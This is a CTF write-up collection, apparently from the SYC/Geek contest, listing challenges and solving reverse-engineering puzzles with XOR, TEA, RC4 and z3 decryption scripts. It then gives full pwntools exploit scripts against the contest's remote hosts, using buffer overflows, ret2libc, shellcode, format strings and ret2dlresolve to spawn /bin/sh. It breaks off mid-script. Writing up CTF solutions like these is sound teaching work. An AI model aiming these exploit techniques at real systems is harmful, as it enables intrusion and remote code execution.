目录
RE
Shiftjmp
点击就送的逆向题
幸运数字
编辑
砍树
小黄鸭
flower-or-tea
mySelf
是男人就来扎针
听说cpp很难?
Easymath
寻找初音未来
Rainbow
浪漫至死不渝
ezandroid
Pwn
nc_pwntools
password
ret2text
write1
ret2libc
ezpwn
write2
fmt1.0
white_canary
why_n0t_puts
EVA
fmt2.0
fmt3.0
CRYPTO
ext^7gcd
EzComplex
card_game
Energetic_Carcano
编辑
JPGDiff
Simple3DES
Fi1nd_th3_x'
Diligent_Liszt
Signin
proof_of_work
SimpleRSA
OTPTwice
OldAlgorithm
easy_classic
PolyRSA
Just need one
WEB
unsign
EzHttp
n00b_Upload
easy_php
ctf_curl
flag保卫战
klf_ssti
ez_remove
ez_path
you konw flask?
Pupyy_rce
famale_imp_l0ve
雨
ez_php
scan_tool
klf_2
EzRce
ezpython
change_it
ezrfi
Akane!
klf_3
ez_sql
MISC
下一站是哪呢
窃听风云
extractMe
ez_smilemo
DEATH_N0TE
Qingwan心都要碎了
xqr
DEATH_N1TE
give_me_Goerlieth
SimpleConnect
DEATH-N2TE
stage
RE
Shiftjmp
花指令
0x117A+1地址改为90(nop)去除花指令
找到加密函数
写出解密脚本
a = "SXAxS6jd8doTxBQ{x\"Ma\'csE-|El,o/{^\\"
for i in range(len(a)):
print(chr(ord(a[i]) ^ i), end="")
运行得flag:SYC{W3lc0me_tO_th3_r3veR5e_w0r1d~}
点击就送的逆向题
文件为.s后缀文件看起来比较麻烦,直接用gcc编译成可执行文件
编写解密脚本
a = "Z`J[X^LMNO`PPJPVQRSIUTJ]IMNOZKMM"
for i in a:
print(chr(ord(i) - 7 ), end="")
flag:SYC{SYCTQWEFGHYIICIOJKLBNMCVBFGHSDFF}
幸运数字
算法简单懒得分析了直接爆破
a0 = [13, 7, 29, 37, 29, 110, 48, 57, 44, 63, 42, 43, 50, 63, 42, 55, 110, 48, 48, 48, 48, 45, 1, 7, 49, 43, 1, 57, 31,
59, 45, 45, 27, 58, 1, 12]
a1 = "o96*#"
for i in a1:
a0.append(ord(i))
flag = []
for i in range(221):
flag = ""
for j in a0:
flag += (chr(j ^ i))
if flag[:3] == "SYC":
print(flag)
得到flagSYC{C0ngratulati0nnnns_You_gAessEd_R1ght}
砍树
Apk逆向
可以看到找不到这个关键函数I0o0I改一下后缀解压去lib里找找
找到加密函数
a = [0, 32, 32, 23, 27, 54, 14, 54, 38, 23, 4, 42, 41, 7, 38, 21, 82, 51, 45, 15, 58, 39, 17, 6, 51, 7, 70, 23, 61, 10, 60, 56, 46, 34, 24]
key = "Sycloverforerver"
for i in range(len(a)):
print(chr(a[i] ^ ord(key[i % 7])), end="")
flag:SYC{t@ke_thE_bul1_By_the_h0rns_TAT}‘
小黄鸭
好多py开头的判断是py转的exe
得到1.pyc
用python的uncompyle6工具反编译为py得到代码
根据代码写出脚本
def upper(num):
num = num % 26
while 1:
if 'A' <= chr(num) <= 'Z':
return chr(num)
else:
num = num + 26
def lower(num):
num = num % 26
while 1:
if 'a' <= chr(num) <= 'z':
return chr(num)
else:
num = num + 26
arr = '~h|p4gs`gJdN`thPwR`jDn`te1w`2|RNH'
arr1 = ""
arr2 = ""
for i in arr:
arr1 += chr(ord(i) - 2)
for i in arr:
arr2 += chr(ord(i) - 1)
arr = list(arr)
b = []
for i in range(len(arr)):
if (arr1[i]).isalpha():
c = arr1[i]
if 'A' <= c <= 'Z':
b.append(upper(ord(c) + 13))
elif 'a' <= c <= 'z':
b.append(lower(ord(c) + 13))
continue
b.append(arr2[i])
for i in range(len(b)-1, -1, -1):
print(b[i], end="")
运行得flag(应该是“{”和“m”在解密中都符合题目中得条件,代码优先取了m改成“{”就得到flag)
Flag:SYC{1_h0pe_yOu_ChAse_YoUr_dr3ams}
flower-or-tea
nop掉花指令,明显的tea,写exp如下
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<conio.h>
#include<time.h>
#include <windows.h>
#include <stdbool.h>
#include <io.h>
#include <stdint.h>
#include <stdbool.h>
#include <zconf.h>
#include <ctype.h>
#include <math.h>
#include <ntstatus.h>
#include <winsock2.h>
int __cdecl run_tea(unsigned int a1, unsigned int *a2, int *a3)
{
int result; // eax
unsigned int i; // [esp+8h] [ebp-10h]
unsigned int v5; // [esp+Ch] [ebp-Ch]
unsigned int v6; // [esp+10h] [ebp-8h]
unsigned int v7; // [esp+14h] [ebp-4h]
v6 = *a2;
v5 = a2[1];
v7 = 0;
for ( i = 0; i < a1; ++i )
{
v5 += v7 ^ (a3[(v7 >> 11) & 3] + v7) ^ (v6 + ((v6 >> 5) ^ (16 * v6)));
v6 += (a3[v7 & 3] + v7) ^ (v5 + ((v5 >> 5) ^ (16 * v5)));
v7 += 826366247;
}
*a2 = v6;
result = 4;
a2[1] = v5;
return result;
}
int __cdecl dec_tea(unsigned int a1, unsigned int *a2, int *a3)
{
int result; // eax
unsigned int i; // [esp+8h] [ebp-10h]
unsigned int v5; // [esp+Ch] [ebp-Ch]
unsigned int v6; // [esp+10h] [ebp-8h]
unsigned int v7; // [esp+14h] [ebp-4h]
v6 = *a2;
v5 = a2[1];
v7 = 0;
for (int j = 0; j < a1; ++j) {
v7 += 826366247;
}
for ( i = 0; i < a1; ++i )
{
v7 -= 826366247;
v6 -= (a3[v7 & 3] + v7) ^ (v5 + ((v5 >> 5) ^ (16 * v5)));
v5 -= v7 ^ (a3[(v7 >> 11) & 3] + v7) ^ (v6 + ((v6 >> 5) ^ (16 * v6)));
}
*a2 = v6;
result = 4;
a2[1] = v5;
return result;
}
int run() {
int v13[40]; // [esp+CCh] [ebp-E4h]
int v14[4];
v14[0] = 32;
v14[1] = 27;
v14[2] = 39;
v14[3] = 44;
v13[0] = -1694939573;
v13[1] = -1005078370;
v13[2] = -1307072749;
v13[3] = -918836760;
v13[4] = -1795955634;
v13[5] = -1244910923;
v13[6] = 1146217516;
v13[7] = 2055874714;
v13[8] = 1405669384;
v13[9] = 1846639433;
v13[10] = -1677731948;
v13[11] = 1593781753;
v13[12] = 401024305;
v13[13] = -541222535;
v13[14] = -1886971078;
v13[15] = 1944634796;
v13[16] = -1299812186;
v13[17] = 1526113129;
v13[18] = 754440740;
v13[19] = 880502447;
v13[20] = -1178055328;
v13[21] = -1860267729;
v13[22] = -1118163045;
v13[23] = -879332550;
v13[24] = -979801922;
v13[25] = -1610607639;
v13[26] = -1053864284;
v13[27] = -561628656;
v13[28] = -1597713004;
v13[29] = 1132501052;
v13[30] = 2117039688;
v13[31] = -447882103;
v13[32] = 1059563152;
v13[33] = -1249037927;
v13[34] = 1615521047;
v13[35] = -1668269692;
v13[36] = -186628991;
v13[37] = 1022684671;
v13[38] = 0;
v13[39] = 0;
int v15[2];
char flag[39];
for (int i = 0; i < 0x26 / 2; ++i )
{
v15[0] = v13[2 * i];
v15[1] = v13[2 * i + 1];
dec_tea( 54, (unsigned int *)&v15, v14);
flag[i] = (char)v15[0];
flag[0x26 - i - 1] = (char)v15[1];
}
printf("%s", flag);
return 0;
}
int main() {
// test();
run();
// main_def();
return 0;
}
mySelf
动调进tea加密,写exp直接出
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<conio.h>
#include<time.h>
#include <windows.h>
#include <stdbool.h>
#include <io.h>
#include <stdint.h>
#include <stdbool.h>
#include <zconf.h>
#include <ctype.h>
#include <math.h>
#include <ntstatus.h>
unsigned int __cdecl sub_DD13B0(unsigned int *a1)
{
int v1; // ebx
int v2; // edi
unsigned int v3; // esi
int v4; // ebx
unsigned int result; // eax
unsigned int *v6; // [esp+Ch] [ebp-Ch]
unsigned int *v7; // [esp+10h] [ebp-8h]
int v8; // [esp+14h] [ebp-4h]
v1 = 0;
v8 = 0;
do
{
v2 = 0;
v3 = a1[v1];
v7 = &a1[v1];
v6 = &a1[v1 + 1];
v4 = 32;
int index = 32;
result = *v6;
do{
v2-=1640531527;
index--;
}
while ( index );
do
{
result -= ((v3 >> 5) + 4) ^ (16 * v3 + 3) ^ (v2 + v3);
v3 -= ((result >> 5) + 2) ^ (16 * result + 2) ^ (v2 + result);
v2 += 1640531527;
--v4;
}
while ( v4 );
v8 += 2;
v1 = v8;
*v7 = v3;
*v6 = result;
}
while ( v8 < 8 );
return result;
}
unsigned char enc_data[] =
{
240, 249, 189, 189, 196, 148, 97, 226, 37, 145,
121, 128, 25, 194, 15, 31, 21, 24, 106, 235,
197, 114, 245, 132, 133, 58, 204, 64, 187, 42,
163, 210,0
};
int run() {
sub_DD13B0((unsigned int*)enc_data);
printf("%s", enc_data);
return 0;
}
int main() {
// test();
run();
// main_def();
return 0;
}
是男人就来扎针
Exp:简单C#,直接patch掉针的命中就行
加个flag头就ok了
听说cpp很难?
题太多了,说不动了,直接贴exp吧
逻辑是每位((a+10)^10) -10
aaa=[0]*33
aaa[0] = 0x4D;
aaa[1] = 0x5F;
aaa[2] = 0x3D;
aaa[3] = 0xFFFFFF85;
aaa[4] = 0x37;
aaa[5] = 0x68;
aaa[6] = 0x73;
aaa[7] = 0x57;
aaa[8] = 0x27;
aaa[9] = 0x68;
aaa[10] = 0x51;
aaa[11] = 0x59;
aaa[12] = 0x7F;
aaa[13] = 0x26;
aaa[14] = 0x6B;
aaa[15] = 0x59;
aaa[16] = 0x73;
aaa[17] = 0x57;
aaa[18] = 0x55;
aaa[19] = 0x5B;
aaa[20] = 0x59;
aaa[21] = 0x6F;
aaa[22] = 0x6A;
aaa[23] = 0x59;
aaa[24] = 0x27;
aaa[25] = 0x57;
aaa[26] = 0x72;
aaa[27] = 0x57;
aaa[28] = 0x4F;
aaa[29] = 0x57;
aaa[30] = 0x78;
aaa[31] = 0x78;
aaa[32] = 0xFFFFFF83;
a = [c&0xff for c in aaa]
a=[c+10 for c in a]
a=[c^10 for c in a]
flag=[c-10 for c in a]
#SYC{Anma1nG_y0u_maKe_it_1alaIa~~}
Easymath
from z3 import *
s=[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 16, 19, 22, 26, 27, 28, 29, 31, 32, 50, 51, 52, 53, 54, 55]
table='01234_asdzxcpoityumnbAOZWXGMY'
matrix=[0x00000012, 0x0000001D, 0x00000010, 0x00000013, 0x0000001B, 0x00000008, 0x0000001F, 0x00000008, 0x00000017, 0x0000001E, 0x0000001D, 0x00000003, 0x0000001C, 0x0000000A, 0x00000015, 0x00000012, 0x0000001D, 0x00000008, 0x00000010, 0x0000001C, 0x0000000B, 0x0000001E, 0x00000007, 0x00000014, 0x00000007 ]
last = [BitVec('a%i'%i,32) for i in range(25)]
sol = Solver()
v7=[0]*25
for i in range(5):
for j in range(5):
v7[5*i+j] == 0
for k in range(5):
v7[5 * i + j] =( v7[5 * i + j]
+ last[5 * i + k] * matrix[5 * k + j]) & 0x1F
sol.add(Not(And(i==j, v7[5 * i + j] != 1)))
sol.add(Not(And(i != j , v7[5 * i + j]!=0 )))
print sol.check()
t=[11,
19,
9,
5,
12,
14,
6,
22,
27,
16,
26,
28,
29,
29,
11,
4,
31,
22,
13,
8,
27,
29,
10,
16,
16]
for i in range(len(t)):
print table[s.index(t[i])],
#SYC{xtd4co_ymiunbbx3Aypsmbzii}
寻找初音未来
据输入的色号修改后面rc4的key的, 初音未来色是39C5BB
第1次输入是39C5BB
第2次输入32*'a'
在比较处下断点,rc4解密
a=[0x25, 0x6F, 0x3D, 0x6C, 0xF9, 0xE0, 0xCF, 0x3F, 0x2E, 0x24, 0xC6, 0x7B, 0x81, 0xBF, 0x55, 0x4F, 0x0D, 0x99, 0x87, 0x47, 0x48, 0xF7, 0xB9, 0x98, 0xFB, 0x1B, 0x22, 0xEC, 0x84, 0x23, 0xFD, 0xB2]
b=[ 0x17, 0x57, 0x1F, 0x76, 0xD6, 0xB1, 0xDA, 0x36, 0x26, 0x2B, 0xC0, 0x45, 0xD1, 0xAD, 0x6B, 0x5D, 0x29, 0x8A, 0x8F, 0x69, 0x5C, 0xE5, 0x87, 0xBB, 0xEF, 0x0E, 0x1C, 0xC0, 0xAC, 0x29, 0xE9, 0xAE]
pt = [ord('a')]*32
flag=''
for i in range(32):
flag += chr(a[i]^b[i]^pt[i])
print(flag)
#SYC{N0thing_1s_sEriOus_But_MIku}
Rainbow
from libnum import *
v = [0]*4
v[0] = 0x627B44508E415865
v[1] = 0x847D6C49547E4A57
v[2] = 0x4877646060955B4F
v[3] = 0x622D3C689F7B4D7D
from libnum import *
s = b''
for c in v:
s += n2s(c)[::-1]
s = s.decode('latin-1')
s=[ord(c) for c in s]
for i in range(32):
s[i] ^= i
for i in range(32):
if i%3==0:
s[i] -= 18
print(''.join(map(chr,s)))
#SYC{TAke_1t_3asy_Just_a_STart!!}
浪漫至死不渝
在文件夹里找到index.js
在代码中找到decryptRailFence函数调用的地方,分析可知,该函数的参数固定,TEXT1可以直接跑出来
继续分析,Text1是异或的密钥,TEXT1用在线js运行工具跑出来,得到异或的密钥:5201314WXHN
function decryptRailFence(cipherText, ooo0oooo) {
const fence = new Array(ooo0oooo);
for (let i = 0; i < ooo0oooo; i++) {
fence[i] = new Array(cipherText.length).fill('.');
}
let row = 0;
let oooo0o0o0 = 1;
for (let i = 0; i < cipherText.length; i++) {
if (row === 0) {
oooo0o0o0 = 1;
} else if (row === ooo0oooo - 1) {
oooo0o0o0 = -1;
}
fence[row][i] = '*';
row += oooo0o0o0;
}
let index = 0;
for (let i = 0; i < ooo0oooo; i++) {
for (let j = 0; j < cipherText.length; j++) {
if (fence[i][j] === '*') {
fence[i][j] = cipherText[index++];
}
}
}
let oooOOOOO0000O0O0O0 = '';
row = 0;
oooo0o0o0 = 1;
for (let i = 0; i < cipherText.length; i++) {
oooOOOOO0000O0O0O0 += fence[row][i];
if (row === 0) {
oooo0o0o0 = 1;
} else if (row === ooo0oooo - 1) {
oooo0o0o0 = -1;
}
row += oooo0o0o0;
}
return oooOOOOO0000O0O0O0;
}
const ooo0oooo = 3;
const key = '53X211WH04N';
const Text1 = decryptRailFence(key, ooo0oooo);
console.log(Text1)
//5201314WXHN
ezandroid
找到MainActivity
分析可知,sb2,sb3分别对应输入的奇偶下标对应值
跟踪sb2
sb2转换成string类型sb4,sb4转换成bytes类型bytes,继续跟踪bytes
这里按位运算,实质上是bytes数组转换成了int数组iArr
继续跟踪iArr
简单的tea加密和逆变换到bytes类型
sb2分析到这结束,继续分析sb3
同样先转换成sb5,跟踪sb5,到MainActivity2
发现就是一个异或加密
exp:
from z3 import *
from ctypes import *
enc = [-91, -8, -110, -55, -49, 75, 115, 13, -76, -113, 102, 80]
S = Solver()
j = 0
X = [BitVec('x%s'%i,32)for i in range(3)]
for i in range(3):
S.add(enc[j+3]==(X[i]&255))
S.add(enc[j+2]==((X[i]>>8)&255))
S.add(enc[j+1]==((X[i]>>16)&255))
S.add(enc[j]==((X[i]>>24)&255))
j += 4
if S.check() == sat:
m = S.model()
for i in range(len(X)):
print(m[X[i]],end=',')
iArr = [2784531145,3477828365,3029296720]
# #include <stdio.h>
# #include <windows.h>
# unsigned int k[]= {2784531145,3477828365,3029296720};
# int iArr[3];
# int iArr2[] = {2023708229, -158607964, -2120859654, 1167043672};
# int main()
# {
# for(int i=0;i<3;i++){
# iArr[i] = (int)k[i];
# }
# int i9 = iArr[0];
# int i10 = iArr[2];
# int i11 = iArr[1];
# int i12 = iArr2[0];
# int i13 = iArr2[1];
# int i14 = iArr2[2];
# int i15 = iArr2[3];
# int i16 = -1640531527*64;
# for (int i18 = 0; i18 < 32; i18++) {
# i10 -= (((i11 << 4) + i14) ^ (i11 + i16)) ^ ((i11 >> 5) + i15);
# i11 -= (((i10 << 4) + i12) ^ (i10 + i16)) ^ ((i10 >> 5) + i13);
# i16 += 1640531527;
# }
# for (int i17 = 0; i17 < 32; i17++) {
# i10 -= (((i9 << 4) + i14) ^ (i9 + i16)) ^ ((i9 >> 5) + i15);
# i9 -= (((i10 << 4) + i12) ^ (i10 + i16)) ^ ((i10 >> 5) + i13);
# i16 += 1640531527;
# }
# iArr[0] = i9;
# iArr[1] = i10;
# iArr[2] = i11;
# printf("%d,%d,%d",iArr[0],iArr[1],iArr[2]);
# system("pause");
# return 0;
# }
#after teaDecode
iArr = [1412454004,859001966,812217458]
print()
plaintext = []
f = "012345678901234567890"
for i in range(len(iArr)):
if iArr[i] < 0:
iArr[i] = 2**32 + iArr[i]
b = bin(iArr[i])[2:].rjust(32,'0')
for i in range(0,32,8):
c = b[i:i+8]
str = chr(int(c,2))
plaintext.append(str)
print(plaintext)#偶
# #include <stdio.h>
# #include <windows.h>
# int main()
# {
# char iArr[] = {-107, -106, -95, -115, -119, 127, 26, 121, -62, -20, 86, 9};
# char enc[] = {-91, -8, -110, -55, -49, 75, 115, 13, -76, -113, 102, 80};
# char plaintext2[12];
# for(int i=0;i<12;i++)plaintext2[i] = (char)iArr[i]^enc[i];
# for(int i=0;i<12;i++)printf("%c,",plaintext2[i]);
# system("pause");
# return 0;
# }
plaintext2= ['0','n','3','D','F','4','i','t','v','c','0','Y']#奇
flag = ''
for i in range(len(plaintext)):
flag += plaintext[i]
flag += plaintext2[i]
print(flag)
#flag:SYC{T00nV3tD3F34Tint0vict0rY}
#flag:SYC{T00nV3tD3F34Tint0vict0rY}
Pwn
nc_pwntools
按照要求输入即可完成
from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64
import gmpy2
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def bug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
p = process('./chal')
#p = remote('pwn.node.game.sycsec.com', 30060)
#elf = ELF('./chal')
#libc=ELF("/glibc-all-in-one/libs/2.34-0ubuntu3.2_amd64/libc.so.6")
#libc = ELF('./libc-2.31.so')
rl("should in the end")
rl("\n")
pay=b'a'*(92)+b'\x53\x79\x63\x6c\x6f\x76\x65\x72'
s(pay)
rl("2.This challenge is harder than first one\n")
c=rl("=?")[:-2]
s=c.decode()
print(s)
print(str(eval(s)))
sl(str(eval(s)))
inter()
password
dev/urandom多次打开可能会报0,这里利用这个特点进行爆破
from pwn import *
#context.log_level="debug"
for i in range(200):
try:
io=remote("pwn.node.game.sycsec.com",31428)
#io=process("./password")
#gdb.attach(io)
#pause()
#print('----------------')
print(i)
io.recvuntil("please enter user name:")
io.send(b"a"*0x28+p64(0x4012f3))
io.recvuntil("please enter password:")
io.sendline(b"\x00"*0x8)
text=io.recvuntil(b"password!").decode()
if "Correct" in text:
print('*************')
flag=1
io.interactive()
print(text)
io.close()
except:
io.close()
if flag==1:
print("&&&&&&&&&&&&")
ret2text
把返回地址改一个字节就可以覆盖返回地址为后门地址
from pwn import *
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def bug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('pwn.node.game.sycsec.com', 31296)
#elf = ELF('./pwn')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF('./libc-2.31.so')
rl("The simplest but not too simple pwn\n")
pay=b'a'*(0x58)+b'\x27'
s(pay)
inter()
inter()
write1
看逻辑,按照要求整就完事了
from pwn import *
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def bug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
#p = process('./chal1')
p = remote('pwn.node.game.sycsec.com', 31387)
#elf = ELF('./chal1')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF('./libc-2.31.so')
sl(b'a')
rl("index:")
sl(str(40))
rl("value:")
sl(b"d8")
rl("index:")
#bug()
sl(str(41))
rl("value:")
sl(b"ff")
rl("index:")
#bug()
sl(str(-1))
inter()
ret2libc
ret2csu题目,控制rdx,泄露·libc打ret2libc
from pwn import *
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def bug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
#p = process('./chal2')
p = remote('pwn.node.game.sycsec.com', 30607)
elf = ELF('./chal2')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF('./libc.so.6')
rdi=0x0000000000401333
rsi_r15=0x0000000000401331
rl("This challenge no backdoor!")
pay=b'\x00'*(0x10+8)+p64(0x40132A)+p64(0)+p64(1)+p64(1)+p64(elf.got['write'])+p64(6)+p64(elf.got['write'])+p64(0x401310)+p64(0)*7+p64(0x4011FD)
#bug()
sl(pay)
libc_base=get_addr()-libc.sym['write']
li(hex(libc_base))
system,bin=get_sb()
rl("This challenge no backdoor!")
pay=b'\x00'*(0x10+8)+p64(rdi)+p64(bin)+p64(rdi+1)+p64(system)
#bug()
sl(pay)
inter()
ezpwn
先写入一个read的shellcode,写到rsi里,就能让程序执行shellcode
from pwn import *
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def bug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('pwn.node.game.sycsec.com', 31479)
#elf = ELF('./pwn')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF('./libc-2.31.so')
pay=b'\x90'*8+asm(shellcraft.read(0,"rsi",0xff))
#bug()
s(pay)
pause()
pay=b'\x90'*0x40+asm(shellcraft.sh())
s(pay)
inter()
write2
按照要求完成即可
from pwn import *
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def bug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
#p = process('./chal3')
p = remote('pwn.node.game.sycsec.com', 30672)
#elf = ELF('./chal3')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF('./libc-2.31.so')
#pay=asm('''
#jmp rsp
#''')
#for i in range(len(pay)):
# print(hex(pay[i]),end=',')
a=[0x6a,0x68,0x48,0xb8,0x2f,0x62,0x69,0x6e,0x2f,0x2f,0x2f,0x73,0x50,0x48,0x89,0xe7,0x68,0x72,0x69,0x1,0x1,0x81,0x34,0x24,0x1,0x1,0x1,0x1,0x31,0xf6,0x56,0x6a,0x8,0x5e,0x48,0x1,0xe6,0x56,0x48,0x89,0xe6,0x31,0xd2,0x6a,0x3b,0x58,0xf,0x5]
b=[0xff,0xe4]
'''
sl(b'a')
pay=asm(shellcraft.sh())
for i in range(len(pay)):
print(hex(pay[i]),end=',')
'''
def add(i,v):
rl("index:\n")
sl(str(i))
rl("value:")
sl(v)
sl(b'a')
rl("index_addr:")
stack=hex(int(p.recv(14),16)+4)[2:14]
print(stack)
print(stack[0]+stack[1])
k=0
for i in range(6):
add(45-i,stack[k]+stack[k+1])
k=k+2
for i in range(len(b)):
e=hex(b[i])[2:]
add(i,e)
for i in range(len(a)):
e=hex(a[i])[2:]
add(48+i,e)
rl("index:\n")
sl(str(-1))
#bug()
inter()
inter()
fmt1.0
修改返回地址为one_gadget即可
from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64
import gmpy2
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def bug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
#p = process('./fmt')
p = remote('pwn.node.game.sycsec.com', 30864)
elf = ELF('./fmt')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF('./libc.so.6')
rl("Please enter your username: \n")
pay=(b'%7$saaaa'+p64(elf.got['read'])).ljust(0x58,b'\x00')+p64(0x4010F0)
#bug()
s(pay)
libc_base=get_addr()-libc.sym['read']
li(hex(libc_base))
one_gad=libc_base+0xe3b01
rl("Please enter your username: \n")
pay=(b'%7$paaaa'+p64(elf.got['read'])).ljust(0x58,b'\x00')+p64(one_gad)
s(pay)
inter()
white_canary
按照它的算法,还原canary即可,然后orw读flag
from pwn import *
from ctypes import *
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def bug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
#p = process('./chal4')
p = remote('pwn.node.game.sycsec.com', 31922)
#elf = ELF('./chal4')
libc = cdll.LoadLibrary('./libc.so.6')
srand=libc.srand(libc.time(0)%60)
v2 = libc.rand()
v3= libc.rand()
can=(((v2 >> 4) ^ (16 * v3 + (v3 >> 8) * (v2 << 8))) >> 32)+ ((((v2 >> 48) + (v2 << 16) * (v3 >> 16)) ^ (v3 << 48)) << 32)
print(can)
canary=(hex(can)[:13:-1])[::-1]
canary=int(canary,16)
print(hex(canary))
payload=asm(shellcraft.open("flag"))
payload+=asm(shellcraft.read(3,0x4040A0+0x200,0x50))
payload+=asm(shellcraft.write(1,0x4040A0+0x200,0x50))
rl("Please enter your name:\n")
sl(payload)
rl("tell me something:")
pay=b'a'*(0x8)+p64(canary)*2+p64(0x4040E0)
sl(pay)
inter()
why_n0t_puts
ret2dlresolve板子题
from pwn import *
#p=process("./chal11")
elf = context.binary = ELF('./chal11')
p = remote("pwn.node.game.sycsec.com",31338)
rop = ROP(elf)
# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop.raw('A' * 56)
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
log.info(rop.dump())
p.sendline(rop.chain())
p.sendline(dlresolve.payload)
p.interactive()
EVA
利用任意地址写,把stack_check_faill的got表修改为main函数地址,然后再泄露libc地址,之后把puts的got表改成one_gadget即可
from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64
import gmpy2
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
